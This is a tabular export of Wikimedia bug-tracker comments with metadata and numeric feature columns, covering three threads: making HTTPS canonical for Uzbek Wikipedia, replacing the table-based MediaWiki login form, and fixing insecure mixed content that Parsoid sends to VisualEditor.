203100,"when serving Uzbek Wikipedia, make HTTPS canonical","Our side of this is done now, the rel=canonical links are deployed. Now Google just needs to crawl it.",,,1357535194,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,,PHID-TASK-vzkv2gkncqkw4yvottlk,task_subcomment,,True,c2,1,False,,,-34,True,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,12.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,12.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,8.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.9583333333333334,"Our side of this is done now, the rel=canonical links are deployed. Now Google just needs to crawl it."
203098,"when serving Uzbek Wikipedia, make HTTPS canonical","(In reply to comment #3)
> https://gerrit.wikimedia.org/r/#/c/41562/
> 
> It should be deployed and enabled on uzwiki. Then every page on that wiki
> should be purged from Squid, say with eval.php.

Note that the configuration in itself has already been fixed by gerrit change 41561, but the core change is not merged.",,,1357513383,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-vzkv2gkncqkw4yvottlk,task_subcomment,,True,c2,1,True,,,-34,True,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,15.0,2.0,2.0,5.0,0.0,0.0,0.0,2.0,2.0,0.0,5.0,0.0,2.0,12.0,12.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.625,0.8,"(In reply to comment #3)
QUOTE
QUOTE
QUOTE
QUOTE

Note that the configuration in itself has already been fixed by gerrit change 41561, but the core change is not merged."
203095,"when serving Uzbek Wikipedia, make HTTPS canonical","(In reply to comment #2)
> RT #4207 has been created.

I don't think ops has anything to do here, so I closed that RT ticket. I pushed the relevant feature for review:

https://gerrit.wikimedia.org/r/#/c/41562/

It should be deployed and enabled on uzwiki. Then every page on that wiki should be purged from Squid, say with eval.php.",,,1356916793,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,,PHID-TASK-vzkv2gkncqkw4yvottlk,task_subcomment,,True,c2,1,False,,,-35,True,2.0,2.0,0.0,3.0,2.0,3.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,5.0,0.0,6.0,14.0,2.0,3.0,3.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,3.0,15.0,2.0,2.0,5.0,0.0,0.0,0.0,2.0,8.0,0.0,2.0,0.0,6.0,14.0,5.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.476923076923077,0.8,"(In reply to comment #2)
QUOTE

I don't think ops has anything to do here, so I closed that RT ticket. I pushed the relevant feature for review:

URL

It should be deployed and enabled on uzwiki. Then every page on that wiki should be purged from Squid, say with eval.php."
203091,"when serving Uzbek Wikipedia, make HTTPS canonical",RT #4207 has been created.,,,1356639666,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-vzkv2gkncqkw4yvottlk,task_subcomment,,True,c2,1,False,,,-35,True,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.142857142857143,1.0,RT #4207 has been created.
203085,"when serving Uzbek Wikipedia, make HTTPS canonical","**sumanah** wrote:

Quim, since you are bug wrangler this week, can you add an RT ticket for this to ask Ops to weigh in?

Chris Steipp wrote:

> I can add a, ""I think it's a good idea"" to the list, but Ops will need to be ok with the shift. I don't think it would be a problem, but it does mean google spidering our https site, and that may concern them. I think ops would also be the ones to implement the actual change.

(I'm also adding as CC a few other people who have previously requested stuff for Uzbek Wikipedia in Bugzilla, just to help keep the Uzbek Wikimedia community aware of this request.)",,,1356638931,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-vzkv2gkncqkw4yvottlk,task_subcomment,,True,c2,1,False,,,-35,True,1.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,1.0,0.0,5.0,13.0,0.0,4.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,0.0,0.0,5.0,3.0,0.0,0.0,1.0,4.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,4.0,1.0,17.0,1.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,13.0,13.0,1.0,0.0,0.0,4.0,0.0,1.0,3.0,0.0,1.0,1.0,0.0,0.0,3.6233766233766236,0.7662337662337663,"**sumanah** wrote:

Quim, since you are bug wrangler this week, can you add an RT ticket for this to ask Ops to weigh in?

Chris Steipp wrote:

QUOTE

(I'm also adding as CC a few other people who have previously requested stuff for Uzbek Wikipedia in Bugzilla, just to help keep the Uzbek Wikimedia community aware of this request.)"
45108,Login form is a table,"Why is it contained in a table element?

This causes huge restrictions on how one can style it.
I am currently trying to style the login form to look like https://mingle.corp.wikimedia.org/attachments/3408386b028630169e1105579e7b53da/186/Wikipedia_Signup_-_iOS.png for mobile and it is impossible to do so without changes to the core.

Let's replace it with a form with clearly marked input elements and input labels. There is absolutely no need for the table elements.

--------------------------
**Version**: 1.21.x
**Severity**: normal",High,80.0,1355450100,1360827999.0,PHID-USER-5dwuaigmkz2vzg65lape,False,,False,PHID-TASK-gajdn23sbuxbrfjbrrjl,task_description,resolved,True,c2,1,False,False,True,-37,True,0.0,0.0,1.0,1.0,0.0,3.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,6.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,5.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,6.0,0.0,1.0,0.0,0.0,0.0,16.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,4.0,8.0,2.0,2.0,7.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,7.0,13.0,0.0,1.0,0.0,0.0,7.0,0.0,2.0,2.0,0.0,1.0,0.0,0.0,0.0,3.8526315789473684,0.6421052631578947,"Why is it contained in a table element?

This causes huge restrictions on how one can style it.
I am currently trying to style the login form to look like URL for mobile and it is impossible to do so without changes to the core.

Let's replace it with a form with clearly marked input elements and input labels. There is absolutely no need for the table elements.

--------------------------
**Version**: 1.21.x
**Severity**: normal"
182457,Login form is a table,"

*** This bug has been marked as a duplicate of bug 34751 ***",,,1360827999,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-gajdn23sbuxbrfjbrrjl,task_subcomment,,True,c2,1,False,,,-28,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 34751 ***"
182446,Login form is a table,"My main groan with this is that it seems we are using a table markup just for the styling benefits it gives.

Mobile had to rewrite the login form from scratch due to this constraint.

I would advocate going for a bare label and input login form for the existing Special:UserLogin - there is no need for it to be in a table.",,,1358547484,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-gajdn23sbuxbrfjbrrjl,task_subcomment,,True,c2,1,False,,,-32,True,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,4.0,0.0,1.0,17.0,0.0,3.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,7.0,0.0,4.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,1.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,6.0,7.0,1.0,1.0,13.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,9.0,17.0,4.0,0.0,0.0,0.0,9.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,3.7714285714285714,0.7285714285714285,"My main groan with this is that it seems we are using a table markup just for the styling benefits it gives.

Mobile had to rewrite the login form from scratch due to this constraint.

I would advocate going for a bare label and input login form for the existing Special:UserLogin - there is no need for it to be in a table."
182437,Login form is a table,This is trivial enough to fix; see the mobile version of the create account form.,,,1358535318,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-gajdn23sbuxbrfjbrrjl,task_subcomment,,True,c2,1,False,,,-32,True,0.0,0.0,0.0,0.0,0.0,18.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,6.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9411764705882355,0.9411764705882353,This is trivial enough to fix; see the mobile version of the create account form.
182428,Login form is a table,"**jgonera** wrote:

A table is a rational markup, but not a flexible one. It makes sense on desktop but is not very suitable for mobile devices.

A <ul> or <dl> (or even bare <label> and <input>) can be styled to look like a table, but it's very difficult to make a table look like a list (especially on older browsers, or IE that Windows Phone uses).",,,1358534755,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-gajdn23sbuxbrfjbrrjl,task_subcomment,,True,c2,1,False,,,-32,True,0.0,0.0,2.0,1.0,2.0,8.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,1.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,7.0,1.0,8.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,9.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,8.0,0.0,0.0,1.0,0.0,8.0,3.130434782608696,0.6304347826086957,"**jgonera** wrote:

A table is a rational markup, but not a flexible one. It makes sense on desktop but is not very suitable for mobile devices.

A <ul> or <dl> (or even bare <label> and <input>) can be styled to look like a table, but it's very difficult to make a table look like a list (especially on older browsers, or IE that Windows Phone uses)."
182421,Login form is a table,"A table is perfectly rational markup. One column is for labels, the other column is for inputs, and each row is a field with its label.

However, if https://gerrit.wikimedia.org/r/27022 ever gets merged, you can always just call setDisplayFormat( 'div' ) on the HTMLForm to change it.",,,1358532682,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-gajdn23sbuxbrfjbrrjl,task_subcomment,,True,c2,1,False,,,-32,True,2.0,0.0,2.0,0.0,0.0,4.0,7.0,0.0,0.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,9.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,9.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,9.0,2.0,2.0,9.0,0.0,0.0,0.0,0.0,4.0,2.0,2.0,0.0,5.0,11.0,4.0,0.0,4.0,0.0,5.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.754385964912281,0.7894736842105263,"A table is perfectly rational markup. One column is for labels, the other column is for inputs, and each row is a field with its label.

However, if GERRIT_URL ever gets merged, you can always just call setDisplayFormat( 'div' ) on the HTMLForm to change it."
182415,Login form is a table,"I don't understand your reasoning for why a table is a rational markup. It is not rational to me at all.

Labels refer to inputs in the for attribute
The form groups them together.
There is no new for rows / columns.",,,1355507885,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-gajdn23sbuxbrfjbrrjl,task_subcomment,,True,c2,1,False,,,-37,True,2.0,0.0,0.0,0.0,4.0,6.0,4.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,4.0,0.0,12.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,6.0,10.0,2.0,0.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,10.0,14.0,0.0,0.0,0.0,0.0,10.0,0.0,2.0,4.0,4.0,0.0,0.0,0.0,0.0,3.56,0.78,"I don't understand your reasoning for why a table is a rational markup. It is not rational to me at all.

Labels refer to inputs in the for attribute
The form groups them together.
There is no new for rows / columns."
182408,Login form is a table,"Technically speaking given that the login form has keys and values (key = label, value = form input) a table is actually a rational markup.

That said, we actually do have some plans to change the form. Mixed in with various signup projects, form style guide, mobile stuff, etc...",,,1355452000,,PHID-USER-gibrlx54k2riiuit5paf,False,,,PHID-TASK-gajdn23sbuxbrfjbrrjl,task_subcomment,,True,c2,1,False,,,-37,True,2.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,8.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,5.0,2.0,2.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,2.0,3.8833333333333333,0.8,"Technically speaking given that the login form has keys and values (key = label, value = form input) a table is actually a rational markup.

That said, we actually do have some plans to change the form. Mixed in with various signup projects, form style guide, mobile stuff, etc..."
182402,Login form is a table,https://gerrit.wikimedia.org/r/38674 for more context.,,,1355450715,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-gajdn23sbuxbrfjbrrjl,task_subcomment,,True,c2,1,False,,,-37,True,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,5.0,1.0,GERRIT_URL for more context.
45015,Parsoid gives VisualEditor insecure content when using HTTPS (should use protocol-relative URLs),"When I go to <https://en.wikipedia.org/wiki/User:Trevor_Parscal> and click the ""visualeditor"" tab, my browser console says:

---
The page at https://en.wikipedia.org/wiki/User:Trevor_Parscal displayed insecure content from http://en.wikipedia.org/w?title=Special:FilePath/California_Bay_Area_county_map.svg&width=.
---

Consequently, the pretty green lock icon in Google Chrome turns yellow.

--------------------------
**Version**: unspecified
**Severity**: major",High,80.0,1355327160,1372119634.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-2fap3nvdrgza3a4h2sj6,task_description,resolved,True,c2,1,True,False,True,-37,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,6.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,17.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,6.0,3.0,0.0,3.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,3.8461538461538463,0.6923076923076923,"When I go to <URL and click the ""visualeditor"" tab, my browser console says:

---
The page at URL displayed insecure content from URL
---

Consequently, the pretty green lock icon in Google Chrome turns yellow.

--------------------------
**Version**: unspecified
**Severity**: major"
201426,Parsoid gives VisualEditor insecure content when using HTTPS (should use protocol-relative URLs),[Parsoid component reorg by merging JS/General and General. See bug 50685 for more information. Filter bugmail on this comment. parsoidreorg20130704],,,1372934071,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-2fap3nvdrgza3a4h2sj6,task_subcomment,,True,c2,1,True,,,-8,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,4.814814814814815,0.8888888888888888,[Parsoid component reorg by merging JS/General and General. See bug 50685 for more information. Filter bugmail on this comment. parsoidreorg20130704]
201420,Parsoid gives VisualEditor insecure content when using HTTPS (should use protocol-relative URLs),https://gerrit.wikimedia.org/r/70344 (Gerrit Change I253b9b7a9b463439e86d7cf7975cd92f9c851e70) | change APPROVED and MERGED [by jenkins-bot],,,1372119634,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2fap3nvdrgza3a4h2sj6,task_subcomment,,True,c2,1,False,,,-10,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,35.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,41.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.117647058823529,1.0,GERRIT_URL (Gerrit Change I253b9b7a9b463439e86d7cf7975cd92f9c851e70) | change APPROVED and MERGED [by jenkins-bot]
201413,Parsoid gives VisualEditor insecure content when using HTTPS (should use protocol-relative URLs),The fix will go out with tomorrow's Parsoid deployment.,,,1372119634,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-2fap3nvdrgza3a4h2sj6,task_subcomment,,True,c2,1,False,,,-10,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,18.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,18.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.2727272727272725,1.0,The fix will go out with tomorrow's Parsoid deployment.
201408,Parsoid gives VisualEditor insecure content when using HTTPS (should use protocol-relative URLs),https://gerrit.wikimedia.org/r/70348 (Gerrit Change Ied95c87fda13dbea2b8c46ad1e96fde1c50c1517) | change APPROVED and MERGED [by jenkins-bot],,,1372119224,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2fap3nvdrgza3a4h2sj6,task_subcomment,,True,c2,1,False,,,-10,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,35.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,41.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.117647058823529,1.0,GERRIT_URL (Gerrit Change Ied95c87fda13dbea2b8c46ad1e96fde1c50c1517) | change APPROVED and MERGED [by jenkins-bot]
201403,Parsoid gives VisualEditor insecure content when using HTTPS (should use protocol-relative URLs),Related URL: https://gerrit.wikimedia.org/r/70348 (Gerrit Change Ied95c87fda13dbea2b8c46ad1e96fde1c50c1517),,,1372117100,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2fap3nvdrgza3a4h2sj6,task_subcomment,,True,c2,1,False,,,-10,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change Ied95c87fda13dbea2b8c46ad1e96fde1c50c1517)
201400,Parsoid gives VisualEditor insecure content when using HTTPS (should use protocol-relative URLs),Related URL: https://gerrit.wikimedia.org/r/70344 (Gerrit Change I253b9b7a9b463439e86d7cf7975cd92f9c851e70),,,1372115462,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2fap3nvdrgza3a4h2sj6,task_subcomment,,True,c2,1,False,,,-10,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I253b9b7a9b463439e86d7cf7975cd92f9c851e70)
201395,Parsoid gives VisualEditor insecure content when using HTTPS (should use protocol-relative URLs),*** Bug 49984 has been marked as a duplicate of this bug. ***,,,1371855005,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2fap3nvdrgza3a4h2sj6,task_subcomment,,True,c2,1,True,,,-10,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 49984 has been marked as a duplicate of this bug. ***
201387,Parsoid gives VisualEditor insecure content when using HTTPS (should use protocol-relative URLs),"We used to use a special page redirect hack, but now use the API to properly retrieve image information including the path. So the new code needs to implement some similar protocol-relative massaging for image URLs, at least for the domains we know to support both http and 